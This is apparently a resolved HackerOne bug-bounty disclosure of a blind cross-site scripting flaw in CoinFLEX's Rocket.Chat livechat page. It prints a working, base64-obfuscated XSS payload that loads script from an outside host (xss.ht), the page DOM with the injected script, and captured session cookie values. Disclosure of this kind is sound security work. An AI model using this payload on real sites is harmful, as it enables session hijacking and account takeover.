Blind XSS
Low
Vulnerability Details
# Blind XSS
The page located at `https://livechat.coinflex.com/livechat` suffers from a Cross-site Scripting
(XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely
encorporated into the HTML markup inside of a webpage. When not properly escaped an
attacker can inject malicious JavaScript that, once evaluated, can be used to hijack
authenticated sessions and rewrite the vulnerable page's layout and functionality. The
following report contains information on an XSS payload that has fired on
`https://livechat.coinflex.com`, it can be used to reproduce and remediate the vulnerability.
### XSS Payload Fire Details
##### Vulnerable Page
`https://livechat.coinflex.com/livechat`
##### Referer
`https://coinflex.com/`
##### User Agent
`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/88.0.4324.96 Safari/537.36`
##### Cookies (Non-HTTPOnly)
`rc_rid=tjtzHoTga9m4EBM3o; rc_token=0917lb1vvydakojqdvlrm7; rc_room_type=l`
##### Document Object Model (DOM)
```html
<html dir="ltr"><head><meta charset="utf-8"><title>Rocket.Chat.Livechat</title><meta
name="viewport" content="width=device-width,initial-scale=1"><link rel="stylesheet"
type="text/css" href="/livechat/61.chunk.a8a84.css"><script charset="utf-8"
src="/livechat/61.chunk.6a8fa.js"></script><link rel="stylesheet" type="text/css"
href="/livechat/62.chunk.e3920.css"><script charset="utf-8"
src="/livechat/62.chunk.39808.js"></script><script charset="utf-8"
src="/livechat/i18n.en.chunk.2a3c0.js"></script></head><body data-new-gr-c-s-check-
loaded="14.993.0" data-gr-ext-installed="" data-new-gr-c-s-loaded="14.993.0"><div
id="app"><div class="screen__sskEr"><style>
.screen__sskEr {
--color: #9437ff;
}
</style><div class="screen__inner__ihfK6 chat__1ggQU"><div
class="popover__container__1sbvl"><header class="header__13Vuj"><div
class="header__content__pXDMp"><div class="header__title__PtLVn">CoinFLEX Live
Chat</div></div><nav class="header__actions__aNMyg"><button
class="header__action__2wnEh" aria-label="Disable notifications"><svg
xmlns="http://www.w3.org/2000/svg" viewBox="0 0 18 18" width="20" height="20"><path
d="M4.619 10.532V6.374c0-2.296 1.962-4.158 4.381-4.158 2.419 0 4.381 1.862 4.381
4.158v4.158l1.643 3.118H2.976l1.643-3.118zm3.047 4.426h2.668c-.195.514-.716.884-
1.334.884s-1.139-.37-1.334-.884zm7.048-8.625C14.714 3.388 12.155 1 9 1 5.845 1 3.286
3.388 3.286 6.333V10.6L1 14.867h5.201C6.465 16.084 7.618 17 9 17s2.535-.916 2.799-
2.133H17L14.714 10.6V6.333z" fill="currentColor"
fill-rule="evenodd"></path></svg></button><button class="header__action__2wnEh" aria-
label="Minimize chat"><svg viewBox="0 0 18 18" xmlns="http://www.w3.org/2000/svg"
width="20" height="20"><path d="M16.071 5L9 12.071 1.929 5" stroke="currentColor"stroke-width="1.5" fill="none"></path></svg></button><button
class="header__action__2wnEh" aria-label="Expand chat"><svg viewBox="0 0 20 20"
xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path d="M15.286
1H2.715c-.947 0-1.714.767-1.714 1.714v12.571A1.714 1.714 0 002.715 17h12.571c.947 0
1.714-.768 1.714-1.715V2.715C17 1.767 16.233 1 15.286 1zm.571 14.286a.572.572 0
01-.571.571H2.715a.572.572 0
01-.571-.571V2.715c0-.315.256-.571.571-.571h12.571c.315
0 .571.256.571.571v12.571zM4.554 13.244a.429.429 0 010-.606l6.97-6.97-.025-.025-
3.213.012a.429.429 0 01-.429-.428V4.87c0-.237.192-.429.429-.429l4.857-.012c.237
0 .429.192.429.428l-.013 4.858a.429.429 0 01-.428.428h-.357a.429.429 0
01-.429-.428l.012-3.213-.025-.026-6.97 6.97a.429.429 0 01-.606 0l-.202-.202z" stroke-
width=".3" fill="currentColor" stroke="currentColor"></path></svg></button></nav><div
class="header__post__VA2cW"></div></header><div data-overlay-text="Drop here to
upload a file" class="drop__6UUiL drop--overlayed__JT4ny"><input type="file"
class="drop__input__2o6so"><main class="screen__main__DBTEi screen__main--
nopadding__16Bsg"><div class="chat__messages__f3sJg chat__messages--
atBottom__1wPuF"><div class="message-list__1jRl9"><ol class="message-
list__content__3TyF4"></ol></div></div></main><footer class="footer__1V22a"><div
class="footer__content__1tgEl"><div class="composer__27x96"><div
class="composer__actions__3eA8B"><button type="button"
class="composer__action__2ZuQd"><svg viewBox="0 0 20 20"
xmlns="http://www.w3.org/2000/svg" width="20" height="20"><g fill="none" fill-
rule="evenodd"><circle cx="12" cy="8" r="1" fill="currentColor"></circle><circle cx="8"
cy="8" r="1" fill="currentColor"></circle><circle cx="10" cy="10" r="7" stroke="currentColor"
stroke-width="1.5"></circle><path d="M7.172 12.328a4 4 0 005.656 0"
stroke="currentColor" stroke-width="1.5"></path></g></svg></button></div><div
contenteditable="true" data-placeholder="Type your message here"
class="composer__input___Cggy">"><input onfocus="eval(atob(this.id))"
id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHB
zOi8vYXNzZXRjeWJlci54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYS
k7" autofocus=""></div><div class="composer__actions__3eA8B"><button type="button"
class="composer__action__2ZuQd"><svg viewBox="0 0 24 24"
xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path d="M10.342
13.283l9.56-10.359-13.049 8.264L1 8.778 21.506 1l-7.778 20.506-3.386-8.223z"
fill="currentColor" stroke="currentColor" stroke-width="1.5" fill-rule="evenodd" stroke-
linecap="round" stroke-linejoin="round"></path></svg></button></div></div></div><div
class="footer__content__1tgEl"><h3 class="powered-by__1DxxE">Powered by <a
href="https://rocket.chat" target="_blank" rel="noopener noreferrer"><svg viewBox="0 0
1500 272" xmlns="http://www.w3.org/2000/svg" class="powered-by__logo__2Y08v"
width="60" height="10.88" role="img" aria-label="Rocket.Chat"><g fill="none" fill-
rule="evenodd"><path class="text" d="M461.588 132.646c0 15.237-5.687 25.243-16.607
30.016l15.699 59.582c.681 2.734-.681 4.092-3.186 4.092h-23.663c-2.274 0-3.41-1.135-
3.867-3.184l-15.244-57.76h-15.699v57.31c0 2.276-1.362 3.634-3.64 3.634h-23.663c-2.274
0-3.64-1.365-3.64-3.634V48.052c0-2.273 1.366-3.638 3.64-3.638h57.107c21.385 0 32.763
11.372 32.763 32.746v55.49zm-40.043 2.727c5.914 0 9.1-3.184 9.1-9.095V83.525c0-
5.911-3.186-9.092-9.1-9.092h-22.524v60.943l22.524-.004zm58.235-58.217c0-21.375
11.374-32.746 32.763-32.746h25.483c21.385 0 32.763 11.372 32.763 32.746v116.43c0
21.371-11.377 32.743-32.763 32.743h-25.483c-21.389 0-32.763-11.372-32.763-
32.743V77.156zm52.555 119.84c5.914 0 9.1-2.957 9.1-9.095V82.84c0-5.911-3.186-9.095-
9.1-9.095h-13.194c-5.914 0-9.1 3.184-9.1 9.095V187.9c0 6.134 3.186 9.091 9.1
9.091h13.194zm152.425-95.281c0 2.276-1.366 3.638-3.636 3.638h-22.751c-2.505 0-3.64-
1.361-3.64-3.638v-18.19c0-5.911-3.183-9.092-9.097-9.092h-11.832c-6.14 0-9.1 3.181-9.1
9.092v103.7c0 6.138 3.183 9.088 9.1 9.088h11.832c5.914 0 9.097-2.954 9.097-9.088v-
18.198c0-2.276 1.135-3.638 3.64-3.638h22.75c2.282 0 3.637 1.361 3.637 3.638v24.562c0
21.371-11.604 32.743-32.759 32.743h-25.483c-21.385 0-32.99-11.372-32.99-32.743V77.149c0-21.375 11.604-32.746 32.99-32.746h25.483c21.158 0 32.759 11.372
32.759 32.746v24.559zm96 124.618c-2.735 0-4.321-1.135-5.236-3.408l-28.662-67.542-
8.423 16.148v50.253c0 2.958-1.589 4.55-4.548 4.55h-21.843c-2.958 0-4.551-1.592-4.551-
4.55V48.954c0-2.953 1.593-4.549 4.551-4.549h21.843c2.956 0 4.548 1.592 4.548
4.55v70.495l35.037-71.634c1.14-2.273 2.736-3.41 5.237-3.41H802.6c3.413 0 4.778 2.276
3.182 5.456l-38.673 79.364 41.174 91.874c1.593 2.958.227 5.23-3.41
5.23H780.76zM915.67 70.791c0 2.273-.912 3.865-3.64 3.865h-56.88v45.48h43.456c2.281
0 3.64 1.365 3.64 3.865v22.513c0 2.503-1.366 3.869-3.64
3.869H855.15v45.934h56.88c2.735 0 3.64 1.138 3.64 3.638v22.743c0 2.273-.912 3.63-
3.64 3.63h-83.725c-2.05 0-3.416-1.365-3.416-3.63V48.048c0-2.273 1.366-3.638 3.416-
3.638h83.725c2.735 0 3.64 1.365 3.64 3.638V70.79zm105.56-26.381c2.501 0 3.64 1.365
3.64 3.638V70.79c0 2.273-1.139 3.638-3.64 3.638h-26.391v148.27c0 2.5-1.135 3.63-3.636
3.63H967.54c-2.282 0-3.64-1.13-3.64-3.63V74.429h-26.388c-2.282 0-3.64-1.365-3.64-
3.638V48.048c0-2.273 1.366-3.638 3.64-3.638h83.718zm1.38 156.493c0-2.957 1.593-
4.546 4.552-4.546h20.704c2.959 0 4.548 1.589 4.548 4.546v20.917c0 2.96-1.59 4.55-
4.548 4.55h-20.704c-2.96 0-4.552-1.59-4.552-4.55v-20.917zm143.75-99.188c0 2.276-1.37
3.638-3.64 3.638h-22.75c-2.502 0-3.637-1.361-3.637-3.638v-18.19c0-5.911-3.183-9.092-
9.097-9.092h-11.832c-6.144 0-9.1 3.181-9.1 9.092v103.7c0 6.138 3.183 9.088 9.1
9.088h11.832c5.914 0 9.097-2.954 9.097-9.088v-18.198c0-2.276 1.135-3.638 3.636-
3.638h22.751c2.281 0 3.64 1.361 3.64 3.638v24.562c0 21.371-11.604 32.743-32.763
32.743h-25.483c-21.385 0-32.99-11.372-32.99-32.743V77.149c0-21.375 11.604-32.746
32.99-32.746h25.483c21.162 0 32.763 11.372 32.763 32.746v24.559zm82.81-53.667c0-
2.273 1.362-3.638 3.636-3.638h23.432c2.732 0 3.864 1.365 3.864 3.638v174.65c0 2.273-
1.135 3.63-3.864 3.63h-23.432c-2.28 0-3.636-1.365-3.636-3.63v-72.315h-29.123v72.319c0
2.276-1.366 3.634-3.64 3.634h-23.429c-2.735 0-3.87-1.365-3.87-3.634V48.052c0-2.273
1.135-3.638 3.87-3.638h23.43c2.28 0 3.639 1.365 3.639
3.638v72.315h29.123V48.052zm134.66 178.285c-2.047 0-3.182-1.135-3.64-3.184l-6.368-
33.197h-40.5l-6.137 33.197c-.458 2.05-1.593 3.184-3.64 3.184h-24.341c-2.501 0-3.64-
1.365-2.963-3.865l37.77-174.88c.457-2.273 1.82-3.184 3.866-3.184h31.628c2.047 0
3.413.911 3.867 3.184l37.77 174.88c.457 2.5-.455 3.865-3.183 3.865h-24.128zm-30.262-
142.13l-14.56 79.364h29.123l-14.563-79.364zM1496.23 44.41c2.501 0 3.64 1.365 3.64
3.638V70.79c0 2.273-1.139 3.638-3.64 3.638h-26.388v148.27c0 2.5-1.139 3.63-3.64
3.63h-23.663c-2.274 0-3.636-1.13-3.636-3.63V74.429h-26.388c-2.278 0-3.637-1.365-
3.637-3.638V48.048c0-2.273 1.366-3.638 3.637-3.638h83.715z"></path><path
class="rocket" d="M270.5 105.32l.004.006-.002-.003-.002-.003zM92.94 11.47c9.508 5.28
18.496 11.962 26.171 19.388 12.373-2.24 25.13-3.37 38.072-3.37 38.744 0 75.477 10.163
103.42 28.612 14.473 9.559 25.977 20.9 34.189 33.712 9.145 14.276 13.78 29.63 13.78
46.08 0 16.007-4.636 31.365-13.78 45.64-8.211 12.817-19.715 24.156-34.189 33.715-
27.948 18.45-64.678 28.607-103.42 28.607-12.942 0-25.697-1.13-38.072-3.368a126.331
126.331 0 01-26.171 19.388c-50.802 25.443-92.931.599-92.931.599s39.169-33.254
32.799-62.405C15.283 180.106 5.787 158.44 5.787 135.456c0-22.552 9.499-44.217
27.021-62.182C39.177 44.13.022 10.883.009 10.872c.013-.008 42.136-24.844
92.931.598z" fill="#DB2323" fill-rule="nonzero"></path><path d="M62.545 186.04c-17.412-
13.722-27.863-31.281-27.863-50.419 0-43.916 55.032-79.517 122.92-79.517 67.885 0
122.92 35.601 122.92 79.517s-55.032 79.517-122.92 79.517c-16.731 0-32.681-2.163-
47.219-6.079L99.754 219.31c-5.775 5.57-12.544 10.61-19.6 14.582-9.352 4.593-18.588
7.099-27.725 7.863.515-.937.99-1.886 1.5-2.825 10.65-19.618 13.523-37.248 8.618-
52.89z" fill="#fff"></path><path class="rocket" d="M98.656 154.54c-9.98 0-18.071-8.22-
18.071-18.361s8.09-18.361 18.071-18.361c9.98 0 18.071 8.22 18.071 18.361s-8.09
18.361-18.071 18.361zm58.179 0c-9.98 0-18.071-8.22-18.071-18.361s8.09-18.361 18.071-
18.361 18.071 8.22 18.071 18.361-8.09 18.361-18.071 18.361zm58.179 0c-9.98 0-18.071-
8.22-18.071-18.361s8.09-18.361 18.071-18.361c9.98 0 18.071 8.22 18.071 18.361s-8.09
18.361-18.071 18.361z" fill="#DB2323"
fill-rule="nonzero"></path></g></svg></a></h3></div></footer></div><div
class="popover__overlay__2FLro"></div></div></div><button type="button" aria-label="C"class="button__3e1dX button--icon__3a2Uu screen__chat-button__2h7Ad"><svg
xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M6 6l8.071 8.071m0-
8.071L6 14.071" stroke="currentColor" stroke-width="1.5" stroke-linecap="square"
fill="none"></path></svg></button><audio
src="https://livechat.coinflex.com/sounds/chime.mp3"
type="audio/mpeg"></audio></div></div><script> SERVER_URL =
'https://livechat.coinflex.com'; </script><script
src="/livechat/0.chunk.85c58.js"></script><script
src="/livechat/polyfills.38c0c.js"></script><script
src="/livechat/vendors~bundle.chunk.b4ad3.js"></script><script
src="/livechat/bundle.e0274.js"></script><script
src="https://assetcyber.xss.ht"></script></body></html>
```
##### Origin
`https://livechat.coinflex.com`
##### Payload for xss
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYXNzZXRjeWJlci54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
##### Screenshot
Please Find Attach image for poc
##### Injection Timestamp
`1612078544`
## Impact
## Remediation
For more information about Cross-site Scripting and remediation of the issue, see the
following resources:
* [Cross-site Scripting (XSS) - OWASP](https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS))
* [XSS (Cross Site Scripting) Prevention Cheat Sheet -
OWASP](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat
_Sheet)
* [What is Cross-site Scripting and How Can You Fix
it?](https://www.acunetix.com/websitesecurity/cross-site-scripting/)
* [An Introduction to Content Security Policy - HTML5 Rocks](http://www.html5rocks.com/en/
tutorials/security/content-security-policy/)
* [Why is the same origin policy so important? - Information Security Stack Exchange](https://
security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important)
Actions
View on HackerOneReport Stats
- Report ID: 1091118
- State: Closed
- Substate: resolved
- Upvotes: 9